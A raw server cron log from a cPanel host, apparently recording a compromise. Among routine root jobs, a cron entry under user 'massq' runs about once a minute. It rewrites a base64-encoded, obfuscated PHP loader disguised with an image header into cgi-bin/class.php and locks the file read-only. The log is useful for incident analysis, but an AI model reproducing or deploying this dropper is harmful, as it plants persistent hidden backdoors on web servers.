Aug 31 01:52:01 server CROND[10799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:52:01 server CROND[10798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:52:01 server CROND[10800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:53:01 server CROND[11195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:53:01 server CROND[11196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:53:01 server CROND[11197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:54:01 server CROND[11659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:54:01 server CROND[11660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:54:01 server CROND[11661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:55:01 server CROND[12035]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 01:55:01 server CROND[12038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:55:01 server CROND[12039]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:55:01 server CROND[12043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:55:01 server CROND[12042]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 01:55:01 server CROND[12047]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:55:01 server CROND[12057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:56:01 server CROND[12752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:56:01 server CROND[12759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:56:01 server CROND[12751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:57:01 server CROND[12879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:57:01 server CROND[12880]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 01:57:01 server CROND[12882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:57:01 server CROND[12881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:58:01 server CROND[13002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:58:01 server CROND[13003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:58:01 server CROND[13004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:59:01 server CROND[13130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:59:01 server CROND[13131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:59:01 server CROND[13132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:00:01 server CROND[13378]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 02:00:01 server CROND[13380]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 02:00:01 server CROND[13379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:00:01 server CROND[13385]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 02:00:01 server CROND[13393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:00:01 server CROND[13398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:00:01 server CROND[13396]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 02:00:01 server CROND[13399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:00:01 server CROND[13406]: (root) CMD (/usr/local/cpanel/bin/backup)
Aug 31 02:00:01 server CROND[13407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:00:01 server CROND[13405]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 02:01:01 server CROND[14071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:01:01 server CROND[14074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:01:01 server CROND[14073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:01:01 server CROND[14075]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 02:01:01 server run-parts(/etc/cron.hourly)[14075]: starting 0anacron
Aug 31 02:01:01 server anacron[14094]: Anacron started on 2026-08-31
Aug 31 02:01:01 server anacron[14094]: Normal exit (0 jobs run)
Aug 31 02:01:01 server run-parts(/etc/cron.hourly)[14096]: finished 0anacron
Aug 31 02:02:01 server CROND[14768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:02:01 server CROND[14769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:02:01 server CROND[14774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:03:01 server CROND[15137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:03:01 server CROND[15138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:03:01 server CROND[15139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpG